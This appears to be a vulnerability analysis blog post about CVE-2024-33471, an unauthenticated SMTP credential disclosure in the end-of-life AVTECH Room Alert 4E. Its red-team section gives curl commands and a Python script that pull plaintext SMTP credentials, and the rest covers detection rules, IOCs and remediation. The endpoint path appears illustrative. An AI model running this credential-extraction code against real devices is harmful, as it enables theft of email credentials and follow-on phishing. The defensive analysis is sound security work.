CVE-2024-33471

Executive Summary

CVE-2024-33471 exposes a critical credential disclosure vulnerability in the AVTECH Room Alert 4E environmental monitoring device, specifically firmware version 4.4.0. An attacker can exploit the Sensor Settings functionality via a crafted AJAX request to retrieve SMTP credentials in plaintext. This vulnerability is particularly severe because the device is end-of-life (EoL) and will not receive a security patch. The attack requires no authentication and can be executed remotely, leading to full compromise of email relay credentials used by the device.

Supply Chain & Package Security

This vulnerability is not related to any open-source package (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded IoT device. The supply chain risk is limited to the device's firmware distribution, which is no longer maintained.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – SMTP credentials are fully disclosed.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No impact on availability.

Base Score: 7.5 (High)

Threat Level: High. The vulnerability is trivial to exploit, has public proof-of-concept, and affects an EoL device with no patch.

Deep Dive & Mechanics

The vulnerability resides in the Sensor Settings page of the AVTECH Room Alert 4E web interface. The device exposes an AJAX endpoint that returns configuration data, including SMTP server credentials, in plaintext. The endpoint does not require authentication, allowing any network-accessible attacker to craft a request and retrieve the credentials.

Root Cause: The device fails to enforce access controls on the AJAX handler responsible for returning sensor configuration. Additionally, credentials are stored and transmitted in plaintext without encryption.

Attack Flow:

1. Attacker identifies a Room Alert 4E device on the network (e.g., via Shodan or local scanning).
2. Attacker sends a crafted HTTP GET request to the vulnerable AJAX endpoint (e.g., /cgi-bin/sensor_settings.cgi).
3. The device responds with a JSON or XML payload containing SMTP credentials in plaintext.
4. Attacker uses the credentials to access the organization's SMTP server, potentially for phishing or data exfiltration.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 4.4.0): The AJAX handler does not check for authentication before returning sensitive data. Example pseudocode:

def handle_sensor_settings(request):
    # No authentication check
    settings = get_sensor_settings()
    return json.dumps(settings)  # Includes SMTP credentials in plaintext

Patched Code (Not available): A hypothetical patch would require:

1. Authentication check before serving the endpoint.
2. Encryption of stored credentials (e.g., using AES-256).
3. Use of HTTPS to protect data in transit.

Since the device is EoL, no official patch exists.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target device: AVTECH Room Alert 4E (firmware 4.4.0)
• Network access to the device's web interface (port 80 or 443)

Exploitation Steps:

1. Identify the device IP (e.g., 192.168.1.100).
2. Send a crafted AJAX request to the vulnerable endpoint:

   curl -X GET "http://192.168.1.100/cgi-bin/sensor_settings.cgi" -H "X-Requested-With: XMLHttpRequest"
   

3. Parse the response to extract SMTP credentials:

   curl -s "http://192.168.1.100/cgi-bin/sensor_settings.cgi" | jq '.smtp'
   

4. Use the credentials to authenticate to the SMTP server.

Automated Exploit (Python):

import requests

target = "http://192.168.1.100"
endpoint = "/cgi-bin/sensor_settings.cgi"
headers = {"X-Requested-With": "XMLHttpRequest"}

response = requests.get(target + endpoint, headers=headers)
if response.status_code == 200:
    data = response.json()
    smtp_user = data.get("smtp_user")
    smtp_pass = data.get("smtp_pass")
    print(f"SMTP User: {smtp_user}\nSMTP Pass: {smtp_pass}")
else:
    print("Failed to retrieve settings")

Blue Team

Detection:

• Monitor for HTTP requests to /cgi-bin/sensor_settings.cgi with the X-Requested-With: XMLHttpRequest header.
• Alert on any unauthenticated access to this endpoint.

Hunting:

• Search logs for unusual SMTP authentication attempts from the device's IP.
• Check for outbound SMTP traffic from the device to external servers.

Lab Setup:

1. Deploy a Room Alert 4E in an isolated VLAN.
2. Use a network tap to capture traffic.
3. Run the exploit and observe the credential disclosure.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /cgi-bin/sensor_settings.cgi with X-Requested-With: XMLHttpRequest.
  • Outbound SMTP traffic (port 25, 465, 587) from the device IP to unknown servers.
• File:
  • Log entries containing sensor_settings.cgi and smtp_pass.
• Behavioral:
  • Unauthorized SMTP authentication using credentials from the device.

Detection Engineering

YARA Rule

rule CVE_2024_33471_SMTP_Credential_Disclosure {
    meta:
        description = "Detects plaintext SMTP credentials in AVTECH Room Alert 4E responses"
        author = "Valters IT"
        date = "2024-05-20"
        reference = "CVE-2024-33471"
    strings:
        $smtp_user = /"smtp_user"\s*:\s*"[^"]+"/ nocase
        $smtp_pass = /"smtp_pass"\s*:\s*"[^"]+"/ nocase
        $endpoint = "/cgi-bin/sensor_settings.cgi" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-33471 - AVTECH Room Alert 4E SMTP Credential Disclosure
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests to the vulnerable AJAX endpoint
author: Valters IT
date: 2024-05-20
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/cgi-bin/sensor_settings.cgi'
        cs-headers: 'X-Requested-With: XMLHttpRequest'
    condition: selection
falsepositives:
    - Legitimate administrative access (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33471 - AVTECH Room Alert 4E SMTP Credential Disclosure"; flow:to_server; content:"GET"; http_method; content:"/cgi-bin/sensor_settings.cgi"; http_uri; content:"X-Requested-With|3a| XMLHttpRequest"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the Room Alert 4E on a separate VLAN with strict firewall rules blocking inbound/outbound SMTP traffic.
2. Disable SMTP functionality: If not required, disable the SMTP alert feature in the device settings.
3. Monitor for exploitation: Deploy the provided detection rules to identify any attempts to exploit the vulnerability.

Long-Term Actions:

1. Replace the device: Since the product is EoL, migrate to a supported environmental monitoring solution.
2. Network segmentation: Ensure all IoT devices are on isolated networks with minimal access to critical systems.
3. Credential rotation: Immediately rotate any SMTP credentials that may have been exposed.

Workaround:

• If replacement is not possible, restrict access to the web interface to trusted IPs only using firewall rules.

Valters IT
DevSecOps & Cyber Threat Intelligence